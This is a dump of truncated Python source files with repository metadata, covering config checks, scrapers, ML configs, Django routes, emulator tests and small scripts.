] | 6 | 2016-08-25T06:31:38.000Z | 2019-09-11T04:29:36.000Z | # Copyright 2016 Hewlett Packard Enterprise Development LP
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | 34.645963 | 78 | 0.677483 |
from reconbf.lib import test_class
from reconbf.lib.result import GroupTestResult
from reconbf.lib.result import Result
from reconbf.lib.result import TestResult
from reconbf.lib import utils
import grp
import os
import pwd
def _conf_location():
return {'dir': '/etc/nova'}
def _conf_details():
... | true | true |
1c4a8104321bcc1796f75a2f5207296f38219830 | 674 | py | Python | 19th/sharing-taxi-fare/solution.py | WooJin1993/coding_test | ec9dc2dc768fe45700b4c0695b16535c0a824f6e | [
"MIT"
] | null | null | null | 19th/sharing-taxi-fare/solution.py | WooJin1993/coding_test | ec9dc2dc768fe45700b4c0695b16535c0a824f6e | [
"MIT"
] | null | null | null | 19th/sharing-taxi-fare/solution.py | WooJin1993/coding_test | ec9dc2dc768fe45700b4c0695b16535c0a824f6e | [
"MIT"
] | null | null | null | # 문제: https://programmers.co.kr/learn/courses/30/lessons/72413
# --- 풀이 ---
# INF = sys.maxsize 하는 경우, 효율성 테스트 1개 실패
# 계산 시간은 INF 크기에도 영향을 받는다.
from itertools import product
def solution(n, s, a, b, fares):
result = []
INF = 1e12
graph = [[INF] * (n+1) for _ in range(n + 1)]
for i in range(1, n ... | 25.923077 | 68 | 0.531157 |
from itertools import product
def solution(n, s, a, b, fares):
result = []
INF = 1e12
graph = [[INF] * (n+1) for _ in range(n + 1)]
for i in range(1, n + 1):
graph[i][i] = 0
for c, d, f in fares:
graph[c][d] = graph[d][c] = f
for k, i, j in product(range(1, ... | true | true |
1c4a8168020be394142ebda10e6e5df8bb4b44fb | 6,210 | py | Python | storm_analysis/diagnostics/spliner_2d/configure.py | bintulab/storm-analysis | 71ae493cbd17ddb97938d0ae2032d97a0eaa76b2 | [
"CNRI-Python"
] | null | null | null | storm_analysis/diagnostics/spliner_2d/configure.py | bintulab/storm-analysis | 71ae493cbd17ddb97938d0ae2032d97a0eaa76b2 | [
"CNRI-Python"
] | null | null | null | storm_analysis/diagnostics/spliner_2d/configure.py | bintulab/storm-analysis | 71ae493cbd17ddb97938d0ae2032d97a0eaa76b2 | [
"CNRI-Python"
] | null | null | null | #!/usr/bin/env python
"""
Configure folder for Spliner testing.
Hazen 09/17
"""
import argparse
import inspect
import numpy
import os
import storm_analysis
import storm_analysis.sa_library.parameters as parameters
import storm_analysis.sa_library.sa_h5py as saH5Py
import storm_analysis.simulator.background as backgr... | 35.689655 | 96 | 0.585829 |
import argparse
import inspect
import numpy
import os
import storm_analysis
import storm_analysis.sa_library.parameters as parameters
import storm_analysis.sa_library.sa_h5py as saH5Py
import storm_analysis.simulator.background as background
import storm_analysis.simulator.camera as camera
import storm_analysis.simu... | true | true |
1c4a82c3e3b8ab680786c7cb5945c0ac48353bc2 | 5,065 | py | Python | GUIMonkey/Steps.py | Setyadjih/GUIMonkey | b1299663ee84de688663c08040d3411c78fb7fe1 | [
"MIT"
] | null | null | null | GUIMonkey/Steps.py | Setyadjih/GUIMonkey | b1299663ee84de688663c08040d3411c78fb7fe1 | [
"MIT"
] | 7 | 2021-04-27T03:39:32.000Z | 2021-09-03T05:31:38.000Z | GUIMonkey/Steps.py | Setyadjih/GUIMonkey | b1299663ee84de688663c08040d3411c78fb7fe1 | [
"MIT"
] | null | null | null | import time
from abc import ABC, abstractmethod
import pyautogui
from lib.logger import get_logger
class StepBase(ABC):
"""Base class for steps. We mainly want the execute interface"""
@abstractmethod
def __init__(self, step_name: str = None, logger=None):
self.name = step_name if step_name els... | 31.855346 | 107 | 0.615597 | import time
from abc import ABC, abstractmethod
import pyautogui
from lib.logger import get_logger
class StepBase(ABC):
@abstractmethod
def __init__(self, step_name: str = None, logger=None):
self.name = step_name if step_name else self.__class__.__name__
self.data = dict()
self.fl... | true | true |
1c4a847fa05d25e7f265a374d27586576fb10671 | 255 | py | Python | aux/engine/actor/__init__.py | bischjer/auxiliary | e42d8a4af43c9bd4d816c03edc2465640635b46b | [
"BSD-3-Clause"
] | null | null | null | aux/engine/actor/__init__.py | bischjer/auxiliary | e42d8a4af43c9bd4d816c03edc2465640635b46b | [
"BSD-3-Clause"
] | null | null | null | aux/engine/actor/__init__.py | bischjer/auxiliary | e42d8a4af43c9bd4d816c03edc2465640635b46b | [
"BSD-3-Clause"
] | null | null | null | from aux.engine.actor.reactor import Reactor
from aux.engine.actor.proactor import Proactor
from aux.engine.actor.coactor import Coactor
__all__ = ['Reactor',
'Proactor',
'Coactor']
class NoActorFoundError(Exception):pass
| 23.181818 | 46 | 0.705882 | from aux.engine.actor.reactor import Reactor
from aux.engine.actor.proactor import Proactor
from aux.engine.actor.coactor import Coactor
__all__ = ['Reactor',
'Proactor',
'Coactor']
class NoActorFoundError(Exception):pass
| true | true |
1c4a849524c22465abea1613bfe918c2849cddd4 | 233 | py | Python | nni/retiarii/trainer/pytorch/__init__.py | qfyin/nni | 59a1ccf8eba68b94974e84fc3834f38d851faf89 | [
"MIT"
] | 3 | 2021-02-23T14:01:43.000Z | 2021-03-29T16:19:32.000Z | nni/retiarii/trainer/pytorch/__init__.py | qfyin/nni | 59a1ccf8eba68b94974e84fc3834f38d851faf89 | [
"MIT"
] | 1 | 2021-01-17T08:53:56.000Z | 2021-01-17T08:53:56.000Z | nni/retiarii/trainer/pytorch/__init__.py | qfyin/nni | 59a1ccf8eba68b94974e84fc3834f38d851faf89 | [
"MIT"
] | 1 | 2020-12-21T11:15:54.000Z | 2020-12-21T11:15:54.000Z | from .base import PyTorchImageClassificationTrainer, PyTorchMultiModelTrainer
from .darts import DartsTrainer
from .enas import EnasTrainer
from .proxyless import ProxylessTrainer
from .random import RandomTrainer, SinglePathTrainer
| 38.833333 | 77 | 0.875536 | from .base import PyTorchImageClassificationTrainer, PyTorchMultiModelTrainer
from .darts import DartsTrainer
from .enas import EnasTrainer
from .proxyless import ProxylessTrainer
from .random import RandomTrainer, SinglePathTrainer
| true | true |
1c4a84b409b74bb514cb2f6f68ddd6f1e2431fe6 | 5,524 | py | Python | build/lib/mpesa/api/mpesa_express.py | Arlus/python-mpesa | 4113d9a59211c05f4c6881965710c4f67a5157b2 | [
"MIT"
] | 26 | 2018-08-02T06:59:50.000Z | 2022-01-15T16:46:39.000Z | build/lib/mpesa/api/mpesa_express.py | Arlus/python-mpesa | 4113d9a59211c05f4c6881965710c4f67a5157b2 | [
"MIT"
] | 1 | 2019-08-17T08:52:23.000Z | 2019-08-17T08:52:23.000Z | build/lib/mpesa/api/mpesa_express.py | Arlus/python-mpesa | 4113d9a59211c05f4c6881965710c4f67a5157b2 | [
"MIT"
] | 38 | 2018-07-26T18:11:18.000Z | 2022-01-02T10:10:54.000Z | import base64
import requests
from .auth import MpesaBase
import datetime
class MpesaExpress(MpesaBase):
def __init__(self, env="sandbox", app_key=None, app_secret=None, sandbox_url=None, live_url=None):
MpesaBase.__init__(self, env, app_key, app_secret, sandbox_url, live_url)
self.authentication_... | 57.541667 | 238 | 0.509051 | import base64
import requests
from .auth import MpesaBase
import datetime
class MpesaExpress(MpesaBase):
def __init__(self, env="sandbox", app_key=None, app_secret=None, sandbox_url=None, live_url=None):
MpesaBase.__init__(self, env, app_key, app_secret, sandbox_url, live_url)
self.authentication_... | true | true |
1c4a8557b221c053d9b0aaf2d4788aa69102a5c8 | 1,269 | py | Python | yt_dlp/extractor/vidlox.py | mkg20001/yt-dlp | 9518a0a6bed040844d5fd6e29c25328e5949ce94 | [
"Unlicense"
] | 1 | 2021-08-24T17:03:03.000Z | 2021-08-24T17:03:03.000Z | yt_dlp/extractor/vidlox.py | mkg20001/yt-dlp | 9518a0a6bed040844d5fd6e29c25328e5949ce94 | [
"Unlicense"
] | null | null | null | yt_dlp/extractor/vidlox.py | mkg20001/yt-dlp | 9518a0a6bed040844d5fd6e29c25328e5949ce94 | [
"Unlicense"
] | null | null | null | # coding: utf-8
from __future__ import unicode_literals
from .common import InfoExtractor
class VIDLOXIE(InfoExtractor):
IE_NAME = 'vidlox'
_VALID_URL = r'https?://vidlox\.me/(embed-)?(?P<id>[a-z0-9]+).html'
_TEST = {
'url': 'https://vidlox.me/6wq8gciafziz.html',
'info_dict': {
... | 27.586957 | 71 | 0.547675 |
from __future__ import unicode_literals
from .common import InfoExtractor
class VIDLOXIE(InfoExtractor):
IE_NAME = 'vidlox'
_VALID_URL = r'https?://vidlox\.me/(embed-)?(?P<id>[a-z0-9]+).html'
_TEST = {
'url': 'https://vidlox.me/6wq8gciafziz.html',
'info_dict': {
'id': '6wq8gc... | true | true |
1c4a8748112916fe5593eae671d07b4837e59ab3 | 6,115 | py | Python | configs/libra_rcnn/libra_faster_rcnn_r101_fpn_1x.py | Lechatelia/own_mmdet | eac5db1d1bee8eafe0ed46fa4bb61ca8605b502f | [
"Apache-2.0"
] | 24 | 2021-10-14T03:28:28.000Z | 2022-03-29T09:30:04.000Z | configs/libra_rcnn/libra_faster_rcnn_r101_fpn_1x.py | Lechatelia/own_mmdet | eac5db1d1bee8eafe0ed46fa4bb61ca8605b502f | [
"Apache-2.0"
] | 4 | 2021-12-14T15:04:49.000Z | 2022-02-19T09:54:42.000Z | configs/libra_rcnn/libra_faster_rcnn_r101_fpn_1x.py | Lechatelia/own_mmdet | eac5db1d1bee8eafe0ed46fa4bb61ca8605b502f | [
"Apache-2.0"
] | 4 | 2021-10-31T11:23:06.000Z | 2021-12-17T06:38:50.000Z | # model settings
model = dict(
type='FasterRCNN',
pretrained='torchvision://resnet101',
backbone=dict(
type='ResNet',
depth=101,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=1,
norm_cfg=dict(type='BN', requires_grad=True),
style='py... | 31.358974 | 79 | 0.559935 |
model = dict(
type='FasterRCNN',
pretrained='torchvision://resnet101',
backbone=dict(
type='ResNet',
depth=101,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=1,
norm_cfg=dict(type='BN', requires_grad=True),
style='pytorch'),
nec... | true | true |
1c4a87f8e649f8a5932c3165dddf9b3f0aeca3cc | 880 | py | Python | mi/dataset/driver/ctdmo_ghqr/sio/test/test_ctdmo_ghqr_sio_telemetered_driver.py | cdobs/mi-instrument | 99f9322a4afabc5dff9b0fad12166075efce838c | [
"BSD-2-Clause"
] | 1 | 2018-09-14T23:28:29.000Z | 2018-09-14T23:28:29.000Z | mi/dataset/driver/ctdmo_ghqr/sio/test/test_ctdmo_ghqr_sio_telemetered_driver.py | cdobs/mi-instrument | 99f9322a4afabc5dff9b0fad12166075efce838c | [
"BSD-2-Clause"
] | 33 | 2017-04-25T19:53:45.000Z | 2022-03-18T17:42:18.000Z | mi/dataset/driver/ctdmo_ghqr/sio/test/test_ctdmo_ghqr_sio_telemetered_driver.py | cdobs/mi-instrument | 99f9322a4afabc5dff9b0fad12166075efce838c | [
"BSD-2-Clause"
] | 31 | 2015-03-04T01:01:09.000Z | 2020-10-28T14:42:12.000Z | import os
import unittest
from mi.core.log import get_logger
from mi.dataset.dataset_driver import ParticleDataHandler
from mi.dataset.driver.ctdmo_ghqr.sio.ctdmo_ghqr_sio_telemetered_driver import parse
from mi.dataset.driver.ctdmo_ghqr.sio.resource import RESOURCE_PATH
__author__ = 'mworden'
log = get_logger()
cl... | 28.387097 | 84 | 0.761364 | import os
import unittest
from mi.core.log import get_logger
from mi.dataset.dataset_driver import ParticleDataHandler
from mi.dataset.driver.ctdmo_ghqr.sio.ctdmo_ghqr_sio_telemetered_driver import parse
from mi.dataset.driver.ctdmo_ghqr.sio.resource import RESOURCE_PATH
__author__ = 'mworden'
log = get_logger()
cl... | true | true |
1c4a898f084e68f38241c7b658081be92d7a651f | 949 | py | Python | examples/01/b.py | cjrh/aiosmartsock | a4ab5ffe5b673ada2a3002d7a9cb68ee1ea4a48f | [
"Apache-2.0"
] | 9 | 2019-03-25T23:25:08.000Z | 2022-01-17T00:49:26.000Z | examples/01/b.py | cjrh/aiomsg | 74b646675e3d7296f0334d3e17c1be0370c5d852 | [
"Apache-2.0"
] | 33 | 2019-04-13T02:31:07.000Z | 2022-03-21T19:12:14.000Z | examples/01/b.py | cjrh/aiosmartsock | a4ab5ffe5b673ada2a3002d7a9cb68ee1ea4a48f | [
"Apache-2.0"
] | 1 | 2021-04-26T09:07:36.000Z | 2021-04-26T09:07:36.000Z | import logging
import asyncio
import aiomsg
import random
from colorama import init, Fore, Style
init()
logging.basicConfig(level="DEBUG")
async def main():
s = aiomsg.Søcket()
await s.connect()
async def r():
while True:
print("waiting for response...")
msg = await s.rec... | 21.088889 | 70 | 0.591149 | import logging
import asyncio
import aiomsg
import random
from colorama import init, Fore, Style
init()
logging.basicConfig(level="DEBUG")
async def main():
s = aiomsg.Søcket()
await s.connect()
async def r():
while True:
print("waiting for response...")
msg = await s.rec... | true | true |
1c4a8a9465c9765af917e68961daf41b5e99fd15 | 1,270 | py | Python | backend/api/urls.py | ChristchurchCityWeightlifting/lifter-api | a82b79c75106e7f4f8ea4b4e3e12d727213445e3 | [
"MIT"
] | null | null | null | backend/api/urls.py | ChristchurchCityWeightlifting/lifter-api | a82b79c75106e7f4f8ea4b4e3e12d727213445e3 | [
"MIT"
] | 5 | 2022-03-07T08:30:47.000Z | 2022-03-22T09:15:52.000Z | backend/api/urls.py | ChristchurchCityWeightlifting/lifter-api | a82b79c75106e7f4f8ea4b4e3e12d727213445e3 | [
"MIT"
] | null | null | null | from django.urls import include, path
from rest_framework.routers import DefaultRouter
from rest_framework_nested.routers import NestedDefaultRouter
from api.views import AthleteViewSet, CompetitionViewSet, LiftViewSet, SessionViewSet
router = DefaultRouter(trailing_slash=False)
router.register(r"athletes", AthleteVi... | 36.285714 | 105 | 0.774803 | from django.urls import include, path
from rest_framework.routers import DefaultRouter
from rest_framework_nested.routers import NestedDefaultRouter
from api.views import AthleteViewSet, CompetitionViewSet, LiftViewSet, SessionViewSet
router = DefaultRouter(trailing_slash=False)
router.register(r"athletes", AthleteVi... | true | true |
1c4a8b2d6e2959ac7dd63a901ca4ffa691691f85 | 21,419 | py | Python | parlalize/utils.py | VesterDe/parlalize | b725fe4b55b95f2ad3505aa70dac2474269ea3da | [
"Unlicense"
] | 1 | 2021-04-19T07:30:06.000Z | 2021-04-19T07:30:06.000Z | parlalize/utils.py | VesterDe/parlalize | b725fe4b55b95f2ad3505aa70dac2474269ea3da | [
"Unlicense"
] | null | null | null | parlalize/utils.py | VesterDe/parlalize | b725fe4b55b95f2ad3505aa70dac2474269ea3da | [
"Unlicense"
] | null | null | null | # -*- coding: UTF-8 -*-
import numpy
from datetime import datetime, timedelta
from django.http import Http404, JsonResponse, HttpResponse
import requests
from parlaposlanci.models import (Person, StyleScores, CutVotes, MPStaticPL,
MembershipsOfMember, LessEqualVoters,
... | 36.551195 | 91 | 0.562771 |
import numpy
from datetime import datetime, timedelta
from django.http import Http404, JsonResponse, HttpResponse
import requests
from parlaposlanci.models import (Person, StyleScores, CutVotes, MPStaticPL,
MembershipsOfMember, LessEqualVoters,
EqualV... | false | true |
1c4a8b7192fcfef250b74c73b64732c53563f6c6 | 1,585 | py | Python | kluctl/cli/seal_command_stubs.py | matzegebbe/kluctl | 1b092b921e7301a30c99792b026634e099fbf15d | [
"Apache-2.0"
] | 26 | 2021-08-18T11:18:46.000Z | 2022-03-16T09:28:43.000Z | kluctl/cli/seal_command_stubs.py | matzegebbe/kluctl | 1b092b921e7301a30c99792b026634e099fbf15d | [
"Apache-2.0"
] | 4 | 2021-09-07T09:55:29.000Z | 2022-03-03T09:05:01.000Z | kluctl/cli/seal_command_stubs.py | matzegebbe/kluctl | 1b092b921e7301a30c99792b026634e099fbf15d | [
"Apache-2.0"
] | 4 | 2021-09-04T11:52:33.000Z | 2022-03-16T09:18:20.000Z | import click
from click_option_group import optgroup
from kluctl.cli.main_cli_group import kluctl_project_args, cli_group
@cli_group.command("seal",
help="Seal secrets based on target's sealingConfig.\n\n"
"Loads all secrets from the specified secrets sets from the target's... | 54.655172 | 118 | 0.643533 | import click
from click_option_group import optgroup
from kluctl.cli.main_cli_group import kluctl_project_args, cli_group
@cli_group.command("seal",
help="Seal secrets based on target's sealingConfig.\n\n"
"Loads all secrets from the specified secrets sets from the target's... | true | true |
1c4a8c258378ad8f2a962e64c0b2b5d11bc73837 | 375 | py | Python | 2015/10/part2.py | timofurrer/aoc-2020 | 446b688a57601d9891f520e43b7f822c373a6ff4 | [
"MIT"
] | null | null | null | 2015/10/part2.py | timofurrer/aoc-2020 | 446b688a57601d9891f520e43b7f822c373a6ff4 | [
"MIT"
] | null | null | null | 2015/10/part2.py | timofurrer/aoc-2020 | 446b688a57601d9891f520e43b7f822c373a6ff4 | [
"MIT"
] | null | null | null | from pathlib import Path
with (Path(__file__).parent / "input.txt").open() as puzzle_input_file:
puzzle_input_raw = puzzle_input_file.read()
import itertools
number = puzzle_input_raw
def look_and_say(look):
return ''.join(str(len([1 for _ in v])) + k for k, v in itertools.groupby(look))
for _ in range(50)... | 23.4375 | 84 | 0.72 | from pathlib import Path
with (Path(__file__).parent / "input.txt").open() as puzzle_input_file:
puzzle_input_raw = puzzle_input_file.read()
import itertools
number = puzzle_input_raw
def look_and_say(look):
return ''.join(str(len([1 for _ in v])) + k for k, v in itertools.groupby(look))
for _ in range(50)... | true | true |
1c4a8d43ec29814bf33a1a684899d96c24b15fbe | 13,571 | py | Python | utils/visualize.py | vtekur/gnn_pathplanning | 150ca315c214134eda8f5c5b55ce71da9360bcce | [
"MIT"
] | null | null | null | utils/visualize.py | vtekur/gnn_pathplanning | 150ca315c214134eda8f5c5b55ce71da9360bcce | [
"MIT"
] | null | null | null | utils/visualize.py | vtekur/gnn_pathplanning | 150ca315c214134eda8f5c5b55ce71da9360bcce | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import yaml
import matplotlib
# matplotlib.use("Agg")
from matplotlib.patches import Circle, Rectangle, Arrow
from matplotlib.collections import PatchCollection
from matplotlib.patches import ConnectionPatch
from matplotlib.patches import FancyArrowPatch
import matplotlib.pyplot as plt
import nu... | 40.150888 | 181 | 0.603419 |
import yaml
import matplotlib
from matplotlib.patches import Circle, Rectangle, Arrow
from matplotlib.collections import PatchCollection
from matplotlib.patches import ConnectionPatch
from matplotlib.patches import FancyArrowPatch
import matplotlib.pyplot as plt
import numpy as np
from matplotlib import animation
fr... | true | true |
1c4a8d92aa7936b2472071f2adda42a56ce328db | 88,007 | py | Python | src/testers/unicorn_test_aarch64.py | TehRick/Triton | 397e42edb2fb7c3fea12be22f70c44e8d0859d57 | [
"Apache-2.0"
] | null | null | null | src/testers/unicorn_test_aarch64.py | TehRick/Triton | 397e42edb2fb7c3fea12be22f70c44e8d0859d57 | [
"Apache-2.0"
] | null | null | null | src/testers/unicorn_test_aarch64.py | TehRick/Triton | 397e42edb2fb7c3fea12be22f70c44e8d0859d57 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python2
## -*- coding: utf-8 -*-
import sys
import pprint
from triton import *
from unicorn import *
from unicorn.arm64_const import *
ADDR = 0x100000
STACK = 0x200000
HEAP = 0x300000
SIZE = 5 * 1024 * 1024
CODE = [
("\x80\x46\x82\xd2", "movz x0, #0x1234"),
("\x80\... | 42.577165 | 114 | 0.508482 |
int
from triton import *
from unicorn import *
from unicorn.arm64_const import *
ADDR = 0x100000
STACK = 0x200000
HEAP = 0x300000
SIZE = 5 * 1024 * 1024
CODE = [
("\x80\x46\x82\xd2", "movz x0, #0x1234"),
("\x80\x46\xa2\xd2", "movz x0, #0x1234, lsl #16"),
("\x80\x46\xc2\xd2", ... | true | true |
1c4a8e4c20813902ae05d3230d53ca2da1867ab2 | 432 | py | Python | vendor/migrations/0006_vendor_sam_url.py | brethauer/mirage | 396f61206bf76f997c0535277af918058aa1b827 | [
"CC0-1.0"
] | null | null | null | vendor/migrations/0006_vendor_sam_url.py | brethauer/mirage | 396f61206bf76f997c0535277af918058aa1b827 | [
"CC0-1.0"
] | null | null | null | vendor/migrations/0006_vendor_sam_url.py | brethauer/mirage | 396f61206bf76f997c0535277af918058aa1b827 | [
"CC0-1.0"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('vendor', '0005_vendor_sam_exclusion'),
]
operations = [
migrations.AddField(
model_name='vendor',
na... | 20.571429 | 48 | 0.597222 |
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('vendor', '0005_vendor_sam_exclusion'),
]
operations = [
migrations.AddField(
model_name='vendor',
name='sam_url',
... | true | true |
1c4a8e8166224c62899fba51d3fc55b147695668 | 2,248 | py | Python | tests/unit/trace/test_status.py | bshaffer/opencensus-python | c624558c6829982d3464a5df29b48952f1fe23bc | [
"Apache-2.0"
] | null | null | null | tests/unit/trace/test_status.py | bshaffer/opencensus-python | c624558c6829982d3464a5df29b48952f1fe23bc | [
"Apache-2.0"
] | 1 | 2021-06-10T23:59:36.000Z | 2021-06-10T23:59:36.000Z | tests/unit/trace/test_status.py | bshaffer/opencensus-python | c624558c6829982d3464a5df29b48952f1fe23bc | [
"Apache-2.0"
] | 1 | 2019-09-01T06:00:13.000Z | 2019-09-01T06:00:13.000Z | # Copyright 2017, OpenCensus Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... | 30.794521 | 74 | 0.656139 |
import unittest
from google.rpc import code_pb2
from opencensus.trace import status as status_module
class TestStatus(unittest.TestCase):
def test_constructor(self):
code = 100
message = 'test message'
status = status_module.Status(code=code, message=message)
self.... | true | true |
1c4a900d6a3357b0f159b0070ace473e54b8c9e3 | 81 | py | Python | CodeWars/7 Kyu/Coding 3min- Father and Son.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | CodeWars/7 Kyu/Coding 3min- Father and Son.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | CodeWars/7 Kyu/Coding 3min- Father and Son.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | def sc(s):
xs = set(s)
return ''.join(c for c in s if c.swapcase() in xs) | 27 | 54 | 0.555556 | def sc(s):
xs = set(s)
return ''.join(c for c in s if c.swapcase() in xs) | true | true |
1c4a91d777b5ea2a8f62b27d050a042816f1964a | 9,570 | py | Python | var/spack/repos/builtin/packages/mvapich2/package.py | NickRF/spack | edecdc3ace7cbf5df2dcc090da3d1827c4099ebc | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | null | null | null | var/spack/repos/builtin/packages/mvapich2/package.py | NickRF/spack | edecdc3ace7cbf5df2dcc090da3d1827c4099ebc | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | null | null | null | var/spack/repos/builtin/packages/mvapich2/package.py | NickRF/spack | edecdc3ace7cbf5df2dcc090da3d1827c4099ebc | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | null | null | null | # Copyright 2013-2019 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
import sys
from spack import *
class Mvapich2(AutotoolsPackage):
"""MVAPICH2 is an MPI implementation for Infiniban... | 35.054945 | 109 | 0.591536 |
import sys
from spack import *
class Mvapich2(AutotoolsPackage):
homepage = "http://mvapich.cse.ohio-state.edu/"
url = "http://mvapich.cse.ohio-state.edu/download/mvapich/mv2/mvapich2-2.2.tar.gz"
list_url = "http://mvapich.cse.ohio-state.edu/downloads/"
version('2.3rc2', '6fcf22fe2a16023b462ef5... | true | true |
1c4a92c5094d36b0d5c48b0030aed8a13467ea5b | 371 | py | Python | arxiv/base/tests/test_factory.py | ibnesayeed/arxiv-base | 9f49302370272792a0afc78debd039d249844c6c | [
"MIT"
] | 23 | 2019-01-10T22:01:18.000Z | 2022-02-02T10:28:25.000Z | arxiv/base/tests/test_factory.py | ibnesayeed/arxiv-base | 9f49302370272792a0afc78debd039d249844c6c | [
"MIT"
] | 57 | 2018-12-17T16:45:38.000Z | 2021-12-14T14:20:58.000Z | arxiv/base/tests/test_factory.py | cul-it/arxiv-base-ui | a5beadf44c24f72e21313299bfafc1ffb9d28ac7 | [
"MIT"
] | 5 | 2019-01-10T22:01:28.000Z | 2021-11-05T12:25:31.000Z | from unittest import TestCase
from flask import Flask
from arxiv.base.factory import create_web_app
class TestBaseAppFactory(TestCase):
"""Tests for :mod:`arxiv.base.factory`."""
def test_create_web_app(self):
""":func:`.create_web_app` generates a :class:`.Flask` instance."""
app = create_w... | 26.5 | 75 | 0.703504 | from unittest import TestCase
from flask import Flask
from arxiv.base.factory import create_web_app
class TestBaseAppFactory(TestCase):
def test_create_web_app(self):
app = create_web_app()
self.assertIsInstance(app, Flask)
| true | true |
1c4a940d0cdd6c7b7b1ab2fcfcbb3402c6214e07 | 18,464 | py | Python | pypy3.9-v7.3.9-win64/Lib/sqlite3/test/userfunctions.py | LawrenceZ1A/MultipurposeProject | 54d5898301d01c33dd771b29e2e19e20d3875a21 | [
"Apache-2.0"
] | null | null | null | pypy3.9-v7.3.9-win64/Lib/sqlite3/test/userfunctions.py | LawrenceZ1A/MultipurposeProject | 54d5898301d01c33dd771b29e2e19e20d3875a21 | [
"Apache-2.0"
] | 1 | 2022-02-22T00:59:49.000Z | 2022-02-22T00:59:49.000Z | pypy3.9-v7.3.9-win64/Lib/sqlite3/test/userfunctions.py | LawrenceZ1A/MultipurposeProject | 54d5898301d01c33dd771b29e2e19e20d3875a21 | [
"Apache-2.0"
] | 1 | 2022-03-30T11:42:37.000Z | 2022-03-30T11:42:37.000Z | # pysqlite2/test/userfunctions.py: tests for user-defined functions and
# aggregates.
#
# Copyright (C) 2005-2007 Gerhard Häring <gh@ghaering.de>
#
# This file is part of pysqlite.
#
# This software is provided 'as-is', without any express or implied
# warranty. In no event will the au... | 33.755027 | 102 | 0.620667 |
import unittest
import unittest.mock
import sqlite3 as sqlite
def func_returntext():
return "foo"
def func_returntextwithnull():
return "1\x002"
def func_returnunicode():
return "bar"
def func_returnint():
return 42
def func_returnfloat():
return 3.14
def func_returnnull():
... | true | true |
1c4a96188ff3db551b42c8a2d3e9be167f0e99f7 | 653 | py | Python | server/user/migrations/0006_auto_20201019_2248.py | MetLee/hackergame | 571b5407e0644169a2f9b3907a0a1d93138ba436 | [
"MIT"
] | 48 | 2018-09-30T11:07:52.000Z | 2021-12-07T03:32:59.000Z | server/user/migrations/0006_auto_20201019_2248.py | MetLee/hackergame | 571b5407e0644169a2f9b3907a0a1d93138ba436 | [
"MIT"
] | 100 | 2018-10-13T18:37:25.000Z | 2021-11-11T12:14:45.000Z | server/user/migrations/0006_auto_20201019_2248.py | MetLee/hackergame | 571b5407e0644169a2f9b3907a0a1d93138ba436 | [
"MIT"
] | 11 | 2018-10-08T14:59:33.000Z | 2022-03-02T03:21:09.000Z | # Generated by Django 3.1.2 on 2020-10-19 14:48
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('user', '0005_auto_20191011_1842'),
]
operations = [
migrations.AlterModelOptions(
name='user',
options={'default_permissions... | 36.277778 | 356 | 0.623277 |
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('user', '0005_auto_20191011_1842'),
]
operations = [
migrations.AlterModelOptions(
name='user',
options={'default_permissions': (), 'permissions': [('full', '管理个人信息'), ('vi... | true | true |
1c4a96d25b3a08d0d02147c25f00e9fdc0faa420 | 1,458 | py | Python | ca_qc_laval/people.py | dcycle/scrapers-ca | 4c7a6cd01d603221b5b3b7a400d2e5ca0c6e916f | [
"MIT"
] | null | null | null | ca_qc_laval/people.py | dcycle/scrapers-ca | 4c7a6cd01d603221b5b3b7a400d2e5ca0c6e916f | [
"MIT"
] | null | null | null | ca_qc_laval/people.py | dcycle/scrapers-ca | 4c7a6cd01d603221b5b3b7a400d2e5ca0c6e916f | [
"MIT"
] | null | null | null | # coding: utf-8
from utils import CSVScraper
class LavalPersonScraper(CSVScraper):
# https://www.donneesquebec.ca/recherche/fr/dataset/liste-des-elus
csv_url = 'https://www.donneesquebec.ca/recherche/dataset/8fe69713-fade-4751-a0b4-7e57a81886b1/resource/bb38e19e-26ab-495c-a0f7-ed6b3268b6e6/download/cusersapp.... | 41.657143 | 245 | 0.620027 |
from utils import CSVScraper
class LavalPersonScraper(CSVScraper):
csv_url = 'https://www.donneesquebec.ca/recherche/dataset/8fe69713-fade-4751-a0b4-7e57a81886b1/resource/bb38e19e-26ab-495c-a0f7-ed6b3268b6e6/download/cusersapp.netappdatalocaltemp288c1490-df30-472a-8170-dd06728f449alistedeselus2013-2017.csv'... | true | true |
1c4a970d54f96d0345653b8eb6c51e13009e1d1c | 414 | py | Python | migrations/versions/384da3b88896_new_contact_email.py | clld/waab | 9693da8887cf8498a47bc41250a2a048595f89f3 | [
"Apache-2.0"
] | 2 | 2015-05-11T13:29:04.000Z | 2017-12-23T04:15:02.000Z | migrations/versions/384da3b88896_new_contact_email.py | clld/waab | 9693da8887cf8498a47bc41250a2a048595f89f3 | [
"Apache-2.0"
] | null | null | null | migrations/versions/384da3b88896_new_contact_email.py | clld/waab | 9693da8887cf8498a47bc41250a2a048595f89f3 | [
"Apache-2.0"
] | 1 | 2015-12-06T22:03:18.000Z | 2015-12-06T22:03:18.000Z | """new contact email
Revision ID: 384da3b88896
